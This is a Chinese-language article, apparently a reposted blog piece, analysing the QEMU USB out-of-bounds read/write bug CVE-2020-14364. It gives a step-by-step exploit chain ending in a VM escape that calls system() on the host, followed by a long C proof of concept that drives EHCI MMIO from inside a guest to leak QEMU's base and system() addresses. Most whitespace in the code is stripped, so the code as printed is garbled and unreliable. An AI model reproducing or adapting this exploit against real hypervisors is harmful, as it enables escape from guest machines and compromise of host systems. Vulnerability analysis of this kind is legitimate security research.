如何进行QEMU CVE-2020-14364的漏洞分析
如何进行QEMU CVE-2020-14364的漏洞分析
这篇文章给大家介绍如何进行QEMU CVE-2020-14364的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
QEMU 简介
QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。
QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。
漏洞成因
USB总线通过创建一个USBpacket对象来和USB设备通信.
Usbpacket对象中包含以下关键内容
structUSBPacket{/*Datafieldsforusebythedriver.*/intpid;uint64_tid;USBEndpoint*ep;....};
其中 “pid” 表明 packet 的类型,存在三种类型 in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备.
数据交换为 usbdevice 中缓冲区的 data_buf 与 usbpacket 对象中使用 usb_packet_map 申请的缓冲区两者间通过 usb_packet_copy 函数实现,为了防止两者缓冲区长度不匹配,传送的长度由 s->setup_len 限制
case SETUP_STATE_DATA:
if(s->setup_buf[0]&USB_DIR_IN){intlen=s->setup_len-s->setup_index;if(len>p->iov.size){len=p->iov.size;}usb_packet_copy(p,s->data_buf+s->setup_index,len);s->setup_index+=len;if(s->setup_index>=s->setup_len){s->setup_state=SETUP_STATE_ACK;}return;}
漏洞存在于s->setup_len赋值的过程do_token_setup中.
s->setup_len=(s->setup_buf[7]<<8)|s->setup_buf[6];if(s->setup_len>sizeof(s->data_buf)){fprintf(stderr,"usb_generic_handle_packet:ctrlbuffertoosmall(%d>%zu)\n",s->setup_len,sizeof(s->data_buf));p->status=USB_RET_STALL;return;}
虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞.
漏洞利用:
1、泄露 USBdevice 对象的地址。
观察越界可读内容发现
structUSBDevice{...uint8_tsetup_buf[8];uint8_tdata_buf[4096];int32_tremote_wakeup;int32_tsetup_state;int32_tsetup_len;int32_tsetup_index;USBEndpointep_ctl;USBEndpointep_in[USB_MAX_ENDPOINTS];USBEndpointep_out[USB_MAX_ENDPOINTS];QLIST_HEAD(,USBDescString)strings;constUSBDesc*usb_desc;/*Overridesclassusb_descifnotNULL*/constUSBDescDevice*device;...};
可以从下方的ep_ctl->dev获取到usbdevice的对象地址.
2、 通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。
3、我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。
绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取
4、通过任意地址读取 usbdevice 对象的内容以获取 ehcistate 对象地址,再次使用任意地址读取 ehcistate 对象的内容以获取 ehci_bus_ops_companion 地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和 system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
5、在data_buf中伪造irq结构。
6、以伪造结构劫持ehcistate中的irq对象。
7、通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。 完成利用。
漏洞poc代码
#include<assert.h>#include<fcntl.h>#include<inttypes.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<sys/mman.h>#include<sys/types.h>#include<unistd.h>#include<sys/io.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<sys/types.h>#include<sys/socket.h>#include<stdbool.h>#include<netinet/in.h>unsignedchar*mmio_mem;char*dmabuf;structohci_hcca*hcca;structEHCIqtd*qtd;structohci_ed*ed;structohci_td*td;char*setup_buf;uint32_t*dmabuf32;char*td_addr;structEHCIqh*qh;structohci_td*td_1;char*dmabuf_phys_addr;typedefstructUSBDeviceUSBDevice;typedefstructUSBEndpointUSBEndpoint;structUSBEndpoint{uint8_tnr;uint8_tpid;uint8_ttype;uint8_tifnum;intmax_packet_size;intmax_streams;boolpipeline;boolhalted;USBDevice*dev;USBEndpoint*fd;USBEndpoint*bk;};structUSBDevice{int32_tremote_wakeup;int32_tsetup_state;int32_tsetup_len;int32_tsetup_index;USBEndpointep_ctl;USBEndpointep_in[15];USBEndpointep_out[15];};typedefstructEHCIqh{uint32_tnext;/*Standardnextlinkpointer*//*endpointcharacteristics*/uint32_tepchar;/*endpointcapabilities*/uint32_tepcap;uint32_tcurrent_qtd;/*Standardnextlinkpointer*/uint32_tnext_qtd;/*Standardnextlinkpointer*/uint32_taltnext_qtd;uint32_ttoken;/*SameasQTDtoken*/uint32_tbufptr[5];/*Standardbufferpointer*/}EHCIqh;typedefstructEHCIqtd{uint32_tnext;/*Standardnextlinkpointer*/uint32_taltnext;/*Standardnextlinkpointer*/uint32_ttoken;uint32_tbufptr[5];/*Standardbufferpointer*/}EHCIqtd;uint64_tvirt2phys(void*p){uint64_tvirt=(uint64_t)p;//Assertpagealignmentintfd=open("/proc/self/pagemap",O_RDONLY);if(fd==-1)die("open");uint64_toffset=(virt/0x1000)*8;lseek(fd,offset,SEEK_SET);uint64_tphys;if(read(fd,&phys,8)!=8)die("read");//Assertpagepresentphys=(phys&((1ULL<<54)-1))*0x1000+(virt&0xfff);returnphys;}voiddie(constchar*msg){perror(msg);exit(-1);}voidmmio_write(uint32_taddr,uint32_tvalue){*((uint32_t*)(mmio_mem+addr))=value;}uint64_tmmio_read(uint32_taddr){return*((uint64_t*)(mmio_mem+addr));}voidinit(){intmmio_fd=open("/sys/devices/pci0000:00/0000:00:05.7/resource0",O_RDWR|O_SYNC);if(mmio_fd==-1)die("mmio_fdopenfailed");mmio_mem=mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,mmio_fd,0);if(mmio_mem==MAP_FAILED)die("mmapmmio_memfailed");dmabuf=mmap(0,0x3000,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS,-1,0);if(dmabuf==MAP_FAILED)die("mmap");mlock(dmabuf,0x3000);hcca=dmabuf;dmabuf32=dmabuf+4;qtd=dmabuf+0x200;qh=dmabuf+0x100;setup_buf=dmabuf+0x300;}voidinit_state(){mmio_write(0x64,0x100);mmio_write(0x64,0x4);qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);structEHCIqtd*qtd;qtd=dmabuf+0x200;qtd->token=1<<7|2<<8|8<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x300);setup_buf[6]=0xff;setup_buf[7]=0x0;dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}voidset_length(uint16_tlen,uint8_tin){mmio_write(0x64,0x100);mmio_write(0x64,0x4);setup_buf[0]=in;setup_buf[6]=len&0xff;setup_buf[7]=(len>>8)&0xff;qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);qtd->token=1<<7|2<<8|8<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x300);dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}voiddo_copy_read(){mmio_write(0x64,0x100);mmio_write(0x64,0x4);qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);qtd->token=1<<7|1<<8|0x1f00<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x1000);qtd->bufptr[1]=virt2phys(dmabuf+0x2000);dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}intmain(){init();iopl(3);outw(0,0xc0c0);outw(0,0xc0e0);outw(0,0xc010);outw(0,0xc0a0);sleep(3);init_state();sleep(2);set_length(0x2000,0x80);sleep(2);do_copy_read();sleep(2);structUSBDevice*usb_device_tmp=dmabuf+0x2004;structUSBDeviceusb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));uint64_tdev_addr=usb_device.ep_ctl.dev;uint64_t*tmp=dmabuf+0x24f4;longlongbase=*tmp;if(base==0){printf("INITDOWN,DOITAGAIN");return0;}base-=0xee5480-0x2668c0;uint64_tsystem=base+0x2d9610;puts("\\\\\\\\\\\\\\\\\\\\\\\\");printf("LEAKBASEADDRESS:%llx!\n",base);printf("LEAKSYSTEMADDRESS:%llx!\n",system);puts("\\\\\\\\\\\\\\\\\\\\\\\\");}
关于如何进行QEMU CVE-2020-14364的漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。